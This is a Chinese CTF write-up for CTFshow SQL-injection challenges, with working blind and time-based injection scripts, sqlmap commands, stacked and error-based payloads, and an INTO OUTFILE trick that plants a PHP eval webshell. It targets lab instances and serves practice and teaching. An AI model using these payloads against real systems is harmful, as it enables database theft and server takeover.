CTFshow web入门 sql web188-246

web188 hao

where username=0这样的查询中,因为username都会是字符串,在mysql中字符串与数字进行比较的时候,以字母开头的字符串都会转换成数字0,因此这个where可以把所有以字母开头的数据查出来。
而password=0的原因在于这里:
intval让等号右边为数字0

if($row['pass']==intval($password)){

没错。。。弱类型比较,看来查出来的pass也都是以字母开头的,所以password=0可以成功弱类型比较,得到flag。

web 189 hao

题目说flag在api/index.php文件中,我想的是union select file_load读。然后也过滤了select也就不太可行。然后
username=0是上一题的姿势,为0返回的是密码错误,是1返回的就是查询失败。可以用盲注

username=if((load_file('/var/www/html/api/index.php'))regexp('ctfshow{'),1,0)&password=1
import requests

s="q{wertyuiopasdfghjklzxcvbnm1234567890_-}"
url="http://bdc2becb-d32d-4d64-a1d5-d0caa899832b.challenge.ctf.show:8080/api/"
flag='ctfshow'
for i in range(1,100):
    for j in s:
        payload="if((load_file('/var/www/html/api/index.php')regexp('{}')),1,0)".format(flag+j)
        data={
            "username":payload,
            "password":1
        }
        print(flag+j)
        r=requests.post(url,data=data)
        print(r.text)

        if "\\u67e5\\u8be2\\u5931\\u8d25" in r.text:
            flag+=j
            print(flag)
            break
    if flag[-1]=='}':
        
        print("flag: "+flag)
        break
       

web 190

盲注,0过滤

import requests

s="q{wertyuiopasdfghjklzxcvbnm1234567890_-}"
url="http://aa7e7e42-cb06-4194-a192-5e967a091a72.challenge.ctf.show:8080/api/"
flag=''
for i in range(1,100):
    low=32
    high=128
    mid=(low+high)//2
    while low<high:
        payload="'or ascii(substr((select group_concat(f1ag) from ctfshow_fl0g),{},1))>{}#".format(i,mid)
        #payload="' or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{},1,0)-- -".format(i,j)
        #payload="' or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))<{},1,0)-- -".format(i,j)
        
        data={
            "username":payload,
            "password":1
        }
        
        r=requests.post(url,data=data)
        print(low,mid,high)
      

        if "\\u5bc6\\u7801\\u9519\\u8bef" in r.text:
            low=mid+1
        else:
            high=mid
        mid=(low+high)//2
    flag+=chr(mid)
    print(flag)
    if mid==32:
        print(flag)  
        break

web191

过滤ascii,ord代替即可

web192 hao

ord也过滤了
改一下payload

import requests

s="q{wertyuiopasdfghjklzxcvbnm1234567890_-}"
url="http://77cc8e68-0a30-4607-a41d-8426ab2257a8.challenge.ctf.show:8080/api/"
flag=''
for i in range(1,100):
    low=32
    high=128
    mid=(low+high)//2
    while low<high:
        payload="'or (substr((select group_concat(f1ag) from ctfshow_fl0g),{},1))>'{}'#".format(i,chr(mid))
        data={
            "username":payload,
            "password":1
        }
        
        r=requests.post(url,data=data)
        print(low,mid,high)
      

        if "\\u5bc6\\u7801\\u9519\\u8bef" in r.text:
            low=mid+1
        else:
            high=mid
        mid=(low+high)//2
    flag+=chr(mid)
    print(flag)
    if mid==32:
        print(flag)  
        break

不过跑出来一些大写一些小写,原因:
是我们输入的内容和数据库的内容比较时都转换成大写比较 就单论字母而言

为什么还要多费事的去加一层ascii,这个的原因就是mysql进行字符串比较的时候,是按大写比较的,比如"1ab2AAD",比较的时候是"1AB2AAD",所以才会加上那一层ascii,这题ascii被ban了,直接字符串比较的话肯定爆出来的都是大写了
CTFshow web入门 sql web188-246_第1张图片
CTFshow web入门 sql web188-246_第2张图片

可以发现大小写都可以。。
但是我下划线跑出来是 {
不知道啥原因。。。。
其实也可以不用二分法,但是有点慢

import requests

url = "http://f18bc9e9-8498-498d-8500-b849b241ee90.challenge.ctf.show:8080/api/"



def inject_database(url):
    name = ''
    string_list = "qwertyuiopasdfghjklzxcvbnm1234567890-_,\{\}"
    for i in range(1,100):
        for char in string_list:
            payload = "'or (substr((select database()),%d,1) = '%s')#"%(i,char)
            data={
            "username":payload,
            "password":1
        }
            r = requests.post(url,data = data)

            if"\\u5bc6\\u7801\\u9519\\u8bef" in r.text:
                name = name + char
                print (name)
                break
       	if char=='}':
            break     

inject_database(url)

web193

过滤了substr函数怎么办

left(str,index) 从左边第index开始截取  
right(str,index) 从右边第index开始截取  
substring(str,index) 从左边index开始截取    
mid(str,index,ken) 截取str 从index开始,截取len的长度  
lpad(str,len,padstr) rpad(str,len,padstr) 在str的左()两边填充给定的padstr到指定的长度

web 194

import requests

url = "http://21627ee5-3fe7-48e5-a418-206d0b662375.challenge.ctf.show:8080/api/"



def inject_database(url):
    name = ''
    string_list = "qcwertyuiopasdfghjklzxcvbnm1234567890-_,\{\}"
    for i in range(1,100):
        for char in string_list:
            payload = "'or (mid((select group_concat(f1ag) from ctfshow_flxg),%d,1) = '%s')#"%(i,char)
            data={
            "username":payload,
            "password":1
        }
            r = requests.post(url,data = data)

            if"\\u5bc6\\u7801\\u9519\\u8bef" in r.text:
                name = name + char
                print (name)
                break
        if char=='}':
            break

inject_database(url)

web195

终于做了之前几天我想做的事情了,我之前就想堆叠注入了,但是尝试过看来都不行。这题明示是堆叠注入,但是我发现把空格给过滤了,就很懵不知道该怎么办了。看了一下y4师傅的姿势,原来是反引号,这个姿势我又忘了。。。太差了。。:

0;update`ctfshow_user`set`pass`=1
1
payload="0x61646d696e;update`ctfshow_user`set`pass`=0x313131;"
# 至于为什么非得用十六进制登录,是因为下面这个没有字符串单引号包围
sql = "select pass from ctfshow_user where username = {$username};";

把表里的密码都改成1就可以了。username=0的原因前面也都说过了,不用0的话就0x61646d696e,是admin的十六进制,同样可以

web196

1;select(1)
1

web197

利用alter更改列名。一开始想着把username更改为pass,然后查出来的就是字符串用户名,和数字0进行弱类型比较就可以了,但是实际尝试发现不行,看了一下发现这题没有检查传入的password是不是数字,而且没有用intval对password进行处理,所以这样不行,那就把id改成pass,然后爆破id就可以了。

1;alter table ctfshow_user change pass jie varchar(255);alter table ctfshow_user change id pass varchar(255);

然后username是0或者0x61646d696e,password从1开始用burpsuite爆破即可。

web198

同上

web199

。。。。

1;show tables;
ctfshow_user

web200

同上

web201 hao sqlmap

开始sqlmap了
然后还有过滤,
sqlmap的使用手册:https://github.com/sqlmapproject/sqlmap/wiki/Usage
比较详细的使用教程:https://www.freebuf.com/sectool/164608.html
使用–user-agent 指定agent
使用–referer 绕过referer检查

–user-agent=AGENT 默认情况下sqlmap的HTTP请求头中User-Agent值是:
sqlmap/1.0-dev-xxxxxxx(http://sqlmap.org)可以使用–user-agent参数来修改,
同时也可以使用–random-agent参数来随机的从./txt/user-agents.txt中获取。当–level参数设定为3或者3以上的时候,会尝试对User-Angent进行注入
–referer=REFERER sqlmap可以在请求中伪造HTTP中的referer,当–level参数设定为3或者3以上的时候会尝试对referer注入
查数据库
python sqlmap.py -u http://8beab38c-996f-49aa-b89c-de9b36944ef6.chall.ctf.show:8080/api/?id=1 --dbs --user-agent sqlmap --referer http://8beab38c-996f-49aa-b89c-de9b36944ef6.chall.ctf.show:8080/sqlmap.php
查表
python sqlmap.py -u http://8beab38c-996f-49aa-b89c-de9b36944ef6.chall.ctf.show:8080/api/?id=1   --referer http://8beab38c-996f-49aa-b89c-de9b36944ef6.chall.ctf.show:8080/sqlmap.php -D ctfshow_web --tables
查列名
>python sqlmap.py -u http://8beab38c-996f-49aa-b89c-de9b36944ef6.chall.ctf.show:8080/api/?id=1   --referer http://8beab38c-996f-49aa-b89c-de9b36944ef6.chall.ctf.show:8080/sqlmap.php -D ctfshow_web -T ctfshow_user --columns
爆字段:
python sqlmap.py -u http://8beab38c-996f-49aa-b89c-de9b36944ef6.chall.ctf.show:8080/api/?id=1   --referer http://8beab38c-996f-49aa-b89c-de9b36944ef6.chall.ctf.show:8080/sqlmap.php -D ctfshow_web -T ctfshow_user -C pass --dump

然后也可以直接爆

sqlmap.py -u http://d9415049-a99b-4f40-81fa-4803de550549.challenge.ctf.show:8080/api/?id=1 --dump --referer http://d9415049-a99b-4f40-81fa-4803de550549.challenge.ctf.show:8080/sqlmap.php

web202

改下data

sqlmap -u http://9cdc728e-4181-41eb-8e30-392ac75afa8e.challenge.ctf.show:8080/api/ --data="id=1" --referer="ctf.show" --dump

web203 。。。

不懂
使用–method 调整sqlmap的请求方式
改成PUT还是不对,而且还没说清请求的参数到底在get的那个位置还是post的那个位置。。。看了一下y4师傅的WP:

注意:一定要加上–headers=“Content-Type: text/plain” ,否则是按表单提交的,put接收不到

出了点问题,有空再搞这个吧

web214

就简单时间盲注就行,难的是注入点。。。


import requests
import time


url="http://ff72aad0-1488-4218-8a4a-cb5b85e9b45b.challenge.ctf.show:8080/api/"
flag=''
for i in range(1,100):
    low=32
    high=128
    mid=(low+high)//2
    while low<high:
        payload="if((ascii(substr((select group_concat(flaga) from ctfshow_flagx),{},1))>{}),sleep(1),0)".format(i,mid)
        #payload="if((ascii(substr((database()),{},1))>{}),sleep(1),0)".format(i,mid)
#payload="if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),{},1))>{}),sleep(1),0)".format(i,mid)
#payload="if((ascii(substr((select group_concat(pass) from information_schema.columns where table_name='ctfshow_flagx'),{},1))>{}),sleep(1),0)".format(i,mid)

        
        data={
            "ip":payload,
            "debug":0
        }
        time1=time.time()
        r=requests.post(url,data=data)
        time2=time.time()
        print(low,mid,high)
      

        if time2-time1>0.95:
            low=mid+1
        else:
            high=mid
        mid=(low+high)//2
    flag+=chr(mid)
    print(flag)
    if mid==32:
        print(flag)  
        break

web215

import requests
import time


url="http://9a97828b-8d2c-4a4d-84c4-6b2a3dbd72c5.challenge.ctf.show:8080/api/"
flag=''
for i in range(1,100):
    low=32
    high=128
    mid=(low+high)//2
    while low<high:
        payload="'or if((ascii(substr((select group_concat(flagaa) from ctfshow_flagxc),{},1))>{}),sleep(0.5),0)#".format(i,mid)
        
        data={
            "ip":payload,
            "debug":0
        }
        time1=time.time()
        r=requests.post(url,data=data)
        time2=time.time()
        print(low,mid,high)
      

        if time2-time1>0.45:
            low=mid+1
        else:
            high=mid
        mid=(low+high)//2
    flag+=chr(mid)
    print(flag)
    if mid==32:
        print(flag)  
        break

web216 hao

看到from_base64,想着把payloadbase64加密一次之后再打,但是发现不太行,看了一下y4师傅的姿势,突然醒悟。。

where id = from_base64($id);

这个SQL语句是在PHP里的那个$sql,相当于我们传入的payload是拼接到这个PHP的字符串的,所以根本没必要进行整体的base64加密,因为是字符串的拼接,因此直接闭合from_base64就可以了。

import requests
import time


url="http://0a4e2305-272a-4020-8be1-90f5e3def049.challenge.ctf.show:8080/api/"
flag=''
for i in range(1,100):
    low=32
    high=128
    mid=(low+high)//2
    while low<high:
        payload="'MQ==')or if((ascii(substr((select group_concat(flagaac) from ctfshow_flagxcc),{},1))>{}),sleep(0.5),0)#".format(i,mid)
        
        data={
            "ip":payload,
            "debug":0
        }
        time1=time.time()
        r=requests.post(url,data=data)
        time2=time.time()
        print(low,mid,high)
      

        if time2-time1>0.45:
            low=mid+1
        else:
            high=mid
        mid=(low+high)//2
    flag+=chr(mid)
    print(flag)
    if mid==32:
        print(flag)  
        break

web217 hao

过滤了sleep,用benchmark函数,代替 ,自己测一下时间。每次时间都不一样。
BENCHMARK(1000000,md5(‘a’))

import requests
import time


url="http://598e8ec6-4fdd-4499-a834-849f09c49cb2.challenge.ctf.show:8080/api/"
flag=''
for i in range(1,100):
    low=32
    high=128
    mid=(low+high)//2
    while low<high:
        payload="0)or if((ascii(substr((select group_concat(flagaabc) from ctfshow_flagxccb),{},1))>{}),BENCHMARK(1000000,md5('a')),0)#".format(i,mid)
        
        data={
            "ip":payload,
            "debug":0
        }
        time1=time.time()
        r=requests.post(url,data=data)
        time2=time.time()
        
        print(low,mid,high)
      

        if time2-time1>0.5:
            low=mid+1
        else:
            high=mid
        mid=(low+high)//2
    flag+=chr(mid)
    print(flag)
    if mid==32:
        print(flag)  
        break

这个有误差。。。可以多跑几次。

web218 hao

SQL注入有趣姿势总结
笛卡尔积盲注
前几次一直有误差,可能是请求太快了,加time.sleep(0.5)缓一下
然后发现还是有误差,就多跑几次取平均吧。。

import requests
import time


url="http://bd5f2813-a7e3-4f66-98f7-0733001e4c26.challenge.ctf.show:8080/api/"
flag=''
for i in range(1,100):
    low=32
    high=128
    mid=(low+high)//2
    while low<high:
        payload="0)or if((ascii(substr((select group_concat(flagaac) from ctfshow_flagxc),{},1))>{}),(SELECT count(*) FROM information_schema.columns A,information_schema.columns B),0)#".format(i,mid)
        
        data={
            "ip":payload,
            "debug":0
        }
        time1=time.time()
        r=requests.post(url,data=data)
        time2=time.time()
        time.sleep(0.5)
        print(time2-time1)
        print(low,mid,high)
      

        if time2-time1>0.5:
            low=mid+1
        else:
            high=mid
        mid=(low+high)//2
    flag+=chr(mid)
    print(flag)
    if mid==32:
        print(flag)  
        break

ctfshow{b9029a67-32a9-4c60-8041-ac06/a6d243e}
ctfshow{b9029a67-92a9-4c60-8041-ac061a6d243e}
ctfshow{bQ029a67-32a9/9c60-8041-ac063a6d253e}
最后的ctfshow{b9029a67-32a9-4c60-8041-ac061a6d243e}

这里再放一下feng师傅的payload吧

"""
Author:feng
"""
import requests
import time
url='http://1f4080db-15a9-499c-877e-551548334e4c.chall.ctf.show:8080/api/index.php'

flag=''
for i in range(1,100):
    min=32
    max=128
    while 1:
        j=min+(max-min)//2
        if min==j:
            flag+=chr(j)
            print(flag)
            if chr(j)=='}':
                exit()
            break

        #payload="if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{},(SELECT count(*) FROM information_schema.columns A, information_schema.columns B),1)".format(i,j)
        #payload="if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxc'),{},1))<{},(SELECT count(*) FROM information_schema.columns A, information_schema.columns B),1)".format(i,j)
        payload="if(ascii(substr((select group_concat(flagaac) from ctfshow_flagxc),{},1))<{},(SELECT count(*) FROM information_schema.columns A, information_schema.columns B),1)".format(i,j)

        data={
            'ip':payload,
            'debug':0
        }
        try:
            r=requests.post(url=url,data=data,timeout=0.15)
            min=j
        except:
            max=j
        time.sleep(0.2)
    time.sleep(1)

web 219

同上

web 220 hao

过滤了substr用left,也可以用like或者regexp的方法
然后换了一下笛卡尔积的那个,因为之前的误差都有点大,然后通过增加运算时间减小误差

(SELECT count(*) FROM information_schema.tables A, information_schema.schemata B, information_schema.schemata D, information_schema.schemata E, information_schema.schemata F,information_schema.schemata G, information_schema.schemata H,information_schema.schemata I)

大概89秒的样子,
然后我判断设置3
import requests
import time
url="http://112d5744-81bd-467f-a7f2-d7bca89a0064.challenge.ctf.show:8080/api/index.php"
flag=""

s="qwertyuiopasdfghjklzxcvbnm1234567890-_{}"

for i in range(1,100):
    for j in s:
        payload="0) or if(left((select flagaabcc from ctfshow_flagxcac),%d)='%s',(SELECT count(*) FROM information_schema.tables A, information_schema.schemata B, information_schema.schemata D, information_schema.schemata E, information_schema.schemata F,information_schema.schemata G, information_schema.schemata H,information_schema.schemata I),0)#"%(i,flag+j)

        data={
            'ip':payload,
            'debug':1
        }
        
        time1=time.time()
        r=requests.post(url,data=data)
        time2=time.time()
        
        
        
        if time2-time1>3:
            flag+=j
            print(time2-time1)
            print(flag)
            
            break
      

web 221 hao

limit注入

  //分页查询
  $sql = select * from ctfshow_user limit ($page-1)*$limit,$limit;

利用procedure analyse来进行注入,只能使用extractvalue 和 benchmark。这题开启了报错,所以extractvalue肯定是最方便的。

?page=1&limit=1  procedure analyse(extractvalue(1,concat(0x7e,database())),1)

然后我接着select不行,然后库名就是flag,我cccc。

web 222 hao

group 注入

//分页查询
$sql = select * from ctfshow_user group by $username;

group by的注入。可以时间盲注,一个简单的例子:

select * from users group by 1,if(1=1,sleep(0.05),1)

CTFshow web入门 sql web188-246_第3张图片
需要注意的是,是对查询结果的每一行都进行一次sleep,因为我的表里有16行,所以16*0.05就是0.8s左右。
CTFshow web入门 sql web188-246_第4张图片
然后这里是21行,所用时间相当于0.05*21+它跑一次的时间(差不多0.1秒)

import requests
import time


url="http://d0ec7800-86b6-4b28-9fa3-95c305308ad1.challenge.ctf.show:8080/api/?u="
flag=''
for i in range(1,100):
    low=32
    high=128
    mid=(low+high)//2
    while low<high:
    	payload="1,if(ascii(substr((select group_concat(flagaabc) from ctfshow_flaga),{},1))>{},sleep(0.02),0)".format(i,mid)
        #payload="1,if(ascii(substr((database()),{},1))>{},sleep(0.05),0)".format(i,mid)
        
        zurl=url+payload
        time1=time.time()
        r=requests.get(zurl)
        time2=time.time()
        
        print(time2-time1)
        print(low,mid,high)
      

        if time2-time1>0.5:
            low=mid+1
        else:
            high=mid
        mid=(low+high)//2
    flag+=chr(mid)
    print(flag)
    if mid==32:
        print(flag)  
        break

有些时候也别图快,不然误差会让你多跑好几次。。。
后面我改了一下,还是跑了几次。。。。。。。

web223 hao

//分页查询
$sql = select * from ctfshow_user group by $username;
返回逻辑
//TODO:很安全,不需要过滤
//用户名不能是数字

过滤数字,用true绕过,true想当于1,true+true相当于2,以此类推。
然后group by id 和 group by username的回显不一样,所以可以用布尔盲注,当然也可以接着用上题的时间盲注把1改成id,数字用ture就可以了
CTFshow web入门 sql web188-246_第5张图片
CTFshow web入门 sql web188-246_第6张图片
然后判断的话可以用返回的长度

import requests
import time

def count(n):
    res="true"
    if n==1:
        return res
    else:
        for i in range(n-1):
            res+='%2btrue'
        return res
url="http://c1deb6d2-99d8-4002-8aef-5ad40de0a6c9.challenge.ctf.show:8080/api/?u="
flag=''
for i in range(1,100):
    low=32
    high=128
    mid=(low+high)//2
    while low<high:
        #payload="if(ascii(substr((database()),{},true))>{},id,username)".format(count(i),count(mid))
       	payload="if(ascii(substr((select group_concat(flagasabc) from ctfshow_flagas),{},true))>{},id,username)".format(count(i),count(mid))
        zurl=url+payload
        
        r=requests.get(zurl)
        
        
        
        print(low,mid,high)
        
        print(len(r.text))
        if 'id":"8' in r.text:
        #if len(r.text)>300:
            low=mid+1
        else:
            high=mid
        mid=(low+high)//2
    flag+=chr(mid)
    print(flag)
    if mid==32:
        print(flag)  
        break

另一个用的字典传,其实也没啥,就放一下,就是+号不用编码了

import requests
import time

def count(n):
    res="true"
    if n==1:
        return res
    else:
        for i in range(n-1):
            res+='+true'
        return res
url="http://c1deb6d2-99d8-4002-8aef-5ad40de0a6c9.challenge.ctf.show:8080/api/"
flag=''
for i in range(1,100):
    low=32
    high=128
    mid=(low+high)//2
    while low<high:
        payload="if(ascii(substr((select group_concat(flagasabc) from ctfshow_flagas),{},true))>{},id,username)".format(count(i),count(mid))
        
        params={'u':payload}
        
        r=requests.get(url,params=params)
        
        
        
        print(low,mid,high)
        
        print(len(r.text))
        if 'id":"8' in r.text:
            low=mid+1
        else:
            high=mid
        mid=(low+high)//2
    flag+=chr(mid)
    print(flag)
    if mid==32:
        print(flag)  
        break

web 224 难

Y1ng大师傅博客
在ctfshow群的群文件找一下,可以找到一个payload.bin文件,这个文件就是大师傅们处理好的,可以直接用,上传上去就可以生成1.php,然后拿flag就行了。
在这里插入图片描述
十六进制的意思是

<?=`$_GET[1]?`>

web 225 hao

堆叠
sql: $sql = "select id,username,pass from ctfshow_user where username = '{$username}';";
waf: preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set/i',$username)

方法一:handler
没有过滤show

username=ctfshow';show tables;
用handler读取username=ctfshow';show tables;handler ctfshow_flagasa open;handler ctfshow_flagasa read first;

方法二:预处理

PREPARE name from '[my sql sequece]'; --> 预定义SQL语句
EXECUTE name; --> 执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE name; --> 删除预定义SQL语句

预编译也能用变量
SET @tn = 'hahaha'; //存储表名
SET @sql = concat('select * from ', @tn); //存储SQL语句
PREPARE name from @sql; //预定义SQL语句
EXECUTE name; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla; //删除预定义SQL语句
payload1: 1';PREPARE je from concat(char(115,101,108,101,99,116), ' * from `ctfshow_flagasa` ');EXECUTE je;#
注:char(115,101,108,101,99,116)<----->'select'
payload2: 1';PREPARE je from concat('s','elect', ' * from `ctfshow_flagasa` ');EXECUTE je;#

web 226

当时看到过滤 左括号和show就没折了
然后16进制就绕过了,还是太菜了

PREPARE name from ‘[my sql sequece]’; --> 预定义SQL语句
form后面本来也就要有 ''单引号包裹,然后16进制就正好

/api/?username=1%27;prepare%20je%20from%200x73686f77207461626c6573;execute%20je;  
相当于
prepare je from show tables;execute je;

prepare je from 0x73656c656374202a2066726f6d2063746673685f6f775f666c61676173;execute je;
相当于
prepare je from select * from ctfsh_ow_flagas;execute je;

web 227

web 228-230

跟web226一样

web 231

update注入

sql: $sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";

才知道不能直接将查询结果进行赋值,这题其实不需要注意,因为查询的是不同的表:

mysql中不支持子查询更新,准确的说是更新的表不能在set和where中用于子查询。那串英文错误提示就是说,不能先select出同一表中的某些值,再update这个表(在同一语句中)。

如果flag在update的那个表里面,我们想查出来的话就需要用子查询了,参考文章如下:mysql update不支持子查询更新

注入点,在api/index.php,post传参password和username

password=0',username=database()%23&username=1

然后再去原来那个地方看就好 /update.php
记得加括号

password=1111',username=(select group_concat(id,flagas,info) from flaga) #&username=132423

CTFshow web入门 sql web188-246_第7张图片

web232

换了下闭合方式而已

password=0'),username=database()%23&username=1

CTFshow web入门 sql web188-246_第8张图片

web 233 hao

突然思考了一下为什么可以盲注,然后可以那样利用,加深了理解,跟这个题本身没啥关系,这个题就简单的时间盲注,也没过滤。。。

  //分页查询
  $sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";

前面的不知道为什么用不了,,,就但是有where,就where后面加条件就好了

需要注意的就是sleep那里,是每一列都会sleep一次,所以判断的时间限制要大致算一下

password=111&username=' or if(1=1,sleep(0.1),0)#
import requests
import time


url="http://47c657b6-8d53-4f47-a86a-b9f79b8cd766.challenge.ctf.show:8080/api/"
flag=''
for i in range(1,100):
    low=32
    high=128
    mid=(low+high)//2
    while low<high:
        payload="'or if(ascii(substr((select group_concat(flagass233) from flag233333),{},1))>{},sleep(0.02),0)#".format(i,mid)
        
        data={
            "username":payload,
            "password":1
        }
        time1=time.time()
        r=requests.post(url,data=data)
        time2=time.time()
        
        print(time2-time1)
        print(low,mid,high)
        time.sleep(0.05)

        if time2-time1>0.4:
            low=mid+1
        else:
            high=mid
        mid=(low+high)//2
    flag+=chr(mid)
    print(flag)
    if mid==32:
        print(flag)  
        break

web 234

查询语句

  //分页查询
  $sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";
      
返回逻辑

  //无过滤

明明说的没过滤为什么又打不通了。。。结果过滤了单引号。。。

password=\&username=,username=database()#
相当于查询语句变成了这样:
update ctfshow_user set pass = '\' where username = ',username=database()#';

CTFshow web入门 sql web188-246_第9张图片

web 235

ban了or,其实还暗ban了information_schema用mysql.innodb_table_stats绕过。。。

password=\&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())#
password=\&username=,username=(select group_concat(cc,bb,aa) from (select 1 as cc,2 as bb,3 as aa union select * from flag23a1)a)#

可以参考这篇文章,很全:
Bypass information_schema与无列名注入

概述MySQL统计信息

web 236

这个题说的是过滤了flag,然后用上一题的姿势一样可以过。听其他大师傅说是输出过滤,不是输入过滤,但是因为flag格式改了,以前应该是flag{},然后会被过滤掉,然后现在这个就没啥影响。
然后我们还是搞下预期解吧,就改下输出的方式。

password=\&username=,username=(select hex(group_concat(`2`)) from (select 1,2,3 union select * from flaga)x)#

web 237

insert注入

  //插入数据
  $sql = "insert into ctfshow_user(username,pass) value('{$username}','{$password}');";

真的是到处搞坑。。。。api下插入不得行,抓包发现是在URL/api/insert.php下,是自己太菜

username=1',database())#&password=123456

CTFshow web入门 sql web188-246_第10张图片

username=1',(select group_concat(flagass23s3) from flag))#&password=1

web 238

闹着玩一样,过滤空格,随便想个绕就行了

username=2',(select(group_concat(id,flag,info))from(flagb)))#&password=1

web 239

说的过滤or,然后*好像也过滤了,
前面和之前一样。。然后不知道怎么无列名注入,过滤了*。

username=1',(select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name=database())))#&password=1

通过上一道题猜的列名flag

username=1',(select(group_concat(flag))from(flagbb)))#&password=1

web 240

Hint: 表名共9位,flag开头,后五位由a/b组成,如flagabaab,全小写
过滤空格 or sys mysql
那就猜表名吧
import requests

flag="flag"
url="http://fdc2339b-40d1-4e40-b3f3-73dda297c36b.challenge.ctf.show:8080/api/insert.php"
for a in "ab":
    for b in "ab":
        for c in "ab":
            for d in "ab":
                for e in "ab":
                    z=flag+a+b+c+d+e

                    payload="',(select(group_concat(flag))from({})))#".format(z)
                    data={
                        "username":payload,
                        "password":1
                    }
                    r=requests.post(url,data=data)

web 241

delete注入

  //删除记录
  $sql = "delete from  ctfshow_user where id = {$id}";

看到where了么,但是感觉不能布尔盲注(因为搞一次,少一个),可以时间盲注

import requests
import time


url="http://0ee36b5a-705c-4700-b247-ae16023740b2.challenge.ctf.show:8080/api/delete.php"
flag=''
for i in range(1,100):
    low=32
    high=128
    mid=(low+high)//2
    while low<high:
        payload="if(ascii(substr((select group_concat(flag) from flag),{},1))>{},sleep(0.05),0)".format(i,mid)
        
        data={
            "id":payload,
            
        }
        time1=time.time()
        r=requests.post(url,data=data)
        time2=time.time()
        
        print(time2-time1)
        print(low,mid,high)
        time.sleep(0.05)

        if time2-time1>0.5:
            low=mid+1
        else:
            high=mid
        mid=(low+high)//2
    flag+=chr(mid)
    print(flag)
    if mid==32:
        print(flag)  
        break

web 242 hao

文件读写

  //备份表
  $sql = "select * from ctfshow_user into outfile '/var/www/html/dump/{$filename}';";
SELECT ... INTO OUTFILE 'file_name'
        [CHARACTER SET charset_name]
        [export_options]

export_options:
    [{FIELDS | COLUMNS}
        [TERMINATED BY 'string']//分隔符
        [[OPTIONALLY] ENCLOSED BY 'char']
        [ESCAPED BY 'char']
    ]
    [LINES
        [STARTING BY 'string']
        [TERMINATED BY 'string']
    ]

“OPTION”参数为可选参数选项,其可能的取值有:

`FIELDS TERMINATED BY '字符串'`:设置字符串为字段之间的分隔符,可以为单个或多个字符。默认值是“\t”。

`FIELDS ENCLOSED BY '字符'`:设置字符来括住字段的值,只能为单个字符。默认情况下不使用任何符号。

`FIELDS OPTIONALLY ENCLOSED BY '字符'`:设置字符来括住CHAR、VARCHAR和TEXT等字符型字段。默认情况下不使用任何符号。

`FIELDS ESCAPED BY '字符'`:设置转义字符,只能为单个字符。默认值为“\”。

`LINES STARTING BY '字符串'`:设置每行数据开头的字符,可以为单个或多个字符。默认情况下不使用任何字符。

`LINES TERMINATED BY '字符串'`:设置每行数据结尾的字符,可以为单个或多个字符。默认值是“\n”。

这三个选项都可以:
FIELDS TERMINATED BY
LINES STARTING BY
LINES TERMINATED BY

filename=.user.ini' LINES STARTING BY ';' TERMINATED BY 0x000d0a6175746f5f70726570656e645f66696c653d6a652e6a70670d0a#
filename=je.jpg' LINES TERMINATED BY 0x3c3f706870206576616c28245f504f53545b305d293b3f3e#

web 243

有点意外

web 244

报错就完了

/api/?id=%27%20or%20updatexml(1,concat(0x7e,(select%20group_concat(flag)%20from%20ctfshow_flag)),1)%23
api/?id=%27%20or%20updatexml(1,concat(0x7e,right((select%20group_concat(flag)%20from%20ctfshow_flag),20)),1)%23

web 245

过滤updatexml,还有extractvalue

?id=%27%20or%20extractvalue(1,concat(0x7e,database()))%23
?id=1%27%20and%20(extractvalue(1,concat(0x7e,(select%20group_concat(flag1)%20from%20ctfshow_flagsa),0x7e)))%23
id=1%27%20and%20(extractvalue(1,concat(0x7e,right((select%20group_concat(flag1)%20from%20ctfshow_flagsa),20),0x7e)))%23

web 246

extractvalue被过滤了,还有双查询报错。
双查询注入

?id=' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e,floor(rand()*2))a from information_schema.columns group by a-- -
?id=%27%20union%20select%201,count(*),concat((select%20column_name%20from%20information_schema.columns%20where%20table_name=%27ctfshow_flags%27%20limit%201,1),0x7e,floor(rand()*2))a%20from%20information_schema.columns%20group%20by%20a--%20-
?id=' union select 1,count(*),concat((select flag2 from ctfshow_flags),0x7e,floor(rand()*2))a from information_schema.columns group by a-- -

web 247

把floor给过滤了,考虑到rand()*2是0-2的范围,所以不用floor,ceil也可以,是向上取整。round函数也可以,

ROUND(X) – 表示将值 X 四舍五入为整数,无小数位 ROUND(X,D) – 表示将值 X 四舍五入为小数点后 D
位的数值,D为小数点后小数位数。若要保留 X 值小数点左边的 D 位,可将 D 设为负值。

需要注意的就是flag列是flag?。但是?这个字符直接flag?的话会报错,加上反引号:

?id=' union select 1,count(*),concat(0x7e,0x7e,(select `flag?` from ctfshow_flagsa limit 0,1),0x7e,ceil(rand()*2))a from information_schema.columns group by a-- -

web248

UAF注入,不会

web 249

你可能感兴趣的:(ctfshow)